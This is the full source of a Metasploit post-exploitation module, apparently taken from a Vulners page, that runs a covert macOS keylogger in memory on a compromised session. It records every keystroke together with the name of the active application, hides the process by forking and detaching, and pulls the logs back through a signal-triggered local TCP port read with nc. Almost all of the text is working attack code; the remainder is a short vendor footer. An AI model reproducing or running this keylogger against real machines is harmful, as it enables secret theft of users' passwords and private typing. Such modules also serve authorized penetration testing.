##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'shellwords'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
# when we need to read from the keylogger,
# we first "knock" the process by sending a USR1 signal.
# the keylogger opens a local tcp port (22899 by default) momentarily
# that we can connect to and read from (using cmd_exec(telnet ...)).
attr_accessor :port
# the pid of the keylogger process
attr_accessor :pid
# where we are storing the keylog
attr_accessor :loot_path
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Capture Userspace Keylogger',
'Description' => %q{
Logs all keyboard events except cmd-keys and GUI password input.
Keylogs are transferred between client/server in chunks
every SYNCWAIT seconds for reliability.
Works by calling the Carbon GetKeys() hook using the DL lib
in OSX's system Ruby. The Ruby code is executed in a shell
command using -e, so the payload never hits the disk.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ]
)
)
register_options(
[
OptInt.new('DURATION',
[ true, 'The duration in seconds.', 600 ]),
OptInt.new('SYNCWAIT',
[ true, 'The time between transferring log chunks.', 10 ]),
OptPort.new('LOGPORT',
[ false, 'Local port opened momentarily for log transfer', 22899 ])
]
)
end
def run_ruby_code
# to pass args to ruby -e we use ARGF (stdin) and yaml
opts = {
duration: datastore['DURATION'].to_i,
port: port
}
cmd = "OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ruby -e #{ruby_code(opts).shellescape}"
rpid = cmd_exec(cmd, nil, 10)
if rpid =~ /^\d+/
print_status "Ruby process executing with pid #{rpid.to_i}"
rpid.to_i
else
fail_with(Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
end
end
def run
if session.nil?
print_error 'Invalid SESSION id.'
return
end
if datastore['DURATION'].to_i < 1
print_error 'Invalid DURATION value.'
return
end
print_status 'Executing ruby command to start keylogger process.'
@port = datastore['LOGPORT'].to_i
@pid = run_ruby_code
begin
Timeout.timeout(datastore['DURATION'] + 5) do # padding to read the last logs
print_status 'Entering read loop'
loop do
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
Rex.sleep(datastore['SYNCWAIT'])
print_status 'Sending USR1 signal to open TCP port...'
cmd_exec("kill -USR1 #{pid}")
print_status 'Dumping logs...'
# Telnet is not installed in MacOS 10.13+
log = cmd_exec("nc localhost #{port}")
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n") + "\n"
print_status "#{log_a.size} keystrokes captured"
next if log_a.empty?
if loot_path.nil?
self.loot_path = store_loot(
'keylog', 'text/plain', session, log, 'keylog.log', 'OSX keylog'
)
else
File.open(loot_path, 'ab') { |f| f.write(log) }
end
print_status(log_a.map do |a|
a =~ /([^\s]+)\s*$/
::Regexp.last_match(1)
end.join)
print_status "Saved to #{loot_path}"
end
end
rescue ::Timeout::Error
print_status 'Keylogger run completed.'
end
end
def kill_process(pid)
print_status "Killing process #{pid.to_i}"
cmd_exec("kill #{pid.to_i}")
end
def cleanup
return if session.nil?
return if !@cleaning_up.nil?
@cleaning_up = true
if pid.to_i > 0
print_status('Cleaning up...')
kill_process(pid)
end
end
def ruby_code(opts = {})
<<~EOS
# Kick off a child process and let parent die
child_pid = fork do
require 'thread'
require 'fiddle'
require 'fiddle/import'
options = {
:duration => #{opts[:duration]},
:port => #{opts[:port]}
}
#### 1-way IPC ####
log = ''
log_semaphore = Mutex.new
Signal.trap("USR1") do # signal used for port knocking
if not @server_listening
@server_listening = true
Thread.new do
require 'socket'
server = TCPServer.new(options[:port])
client = server.accept
log_semaphore.synchronize do
client.puts(log+"\n")
log = ''
end
client.close
server.close
@server_listening = false
end
end
end
#### External dynamically linked code
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Fiddle::Importer
dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
extern 'void GetFrontProcess(ProcessSerialNumber *)'
extern 'void GetKeys(void *)'
extern 'unsigned char *GetScriptVariable(int, int)'
extern 'unsigned char KeyTranslate(void *, int, void *)'
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
extern 'int CFStringGetLength(void *)'
end
psn = Fiddle::Pointer.malloc(16)
name = Fiddle::Pointer.malloc(16)
name_cstr = Fiddle::Pointer.malloc(MAX_APP_NAME)
keymap = Fiddle::Pointer.malloc(16)
state = Fiddle::Pointer.malloc(8)
#### Actual Keylogger code
itv_start = Time.now.to_i
prev_down = Hash.new(false)
lastWindow = ""
while (true) do
Carbon.GetFrontProcess(psn.ref)
Carbon.CopyProcessName(psn.ref, name.ref)
Carbon.GetKeys(keymap)
str_len = Carbon.CFStringGetLength(name)
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
app_name = if copied then name_cstr.to_s else 'Unknown' end
bytes = keymap.to_str
cap_flag = false
ascii = 0
ctrlchar = ""
(0...128).each do |k|
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
if not prev_down[k]
case k
when 36
ctrlchar = "[enter]"
when 48
ctrlchar = "[tab]"
when 49
ctrlchar = " "
when 51
ctrlchar = "[delete]"
when 53
ctrlchar = "[esc]"
when 55
ctrlchar = "[cmd]"
when 56
ctrlchar = "[shift]"
when 57
ctrlchar = "[caps]"
when 58
ctrlchar = "[option]"
when 59
ctrlchar = "[ctrl]"
when 63
ctrlchar = "[fn]"
else
ctrlchar = ""
end
if ctrlchar == "" and ascii == 0
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
prev_down[k] = true
if curr_ascii == 0
cap_flag = true
else
ascii = curr_ascii
end
elsif ctrlchar != ""
prev_down[k] = true
end
end
else
prev_down[k] = false
end
end
if ascii != 0 or ctrlchar != ""
log_semaphore.synchronize do
if app_name != lastWindow
log = log << "[\#{Time.now.to_i}] [\#{app_name}]\n"
lastWindow = app_name
end
if ctrlchar != ""
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{ctrlchar}\n"
elsif ascii > 32 and ascii < 127
c = if cap_flag then ascii.chr.upcase else ascii.chr end
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
else
log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
end
end
end
exit if Time.now.to_i - itv_start > options[:duration]
Kernel.sleep(0.01)
end
end
puts child_pid
Process.detach(child_pid)
EOS
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation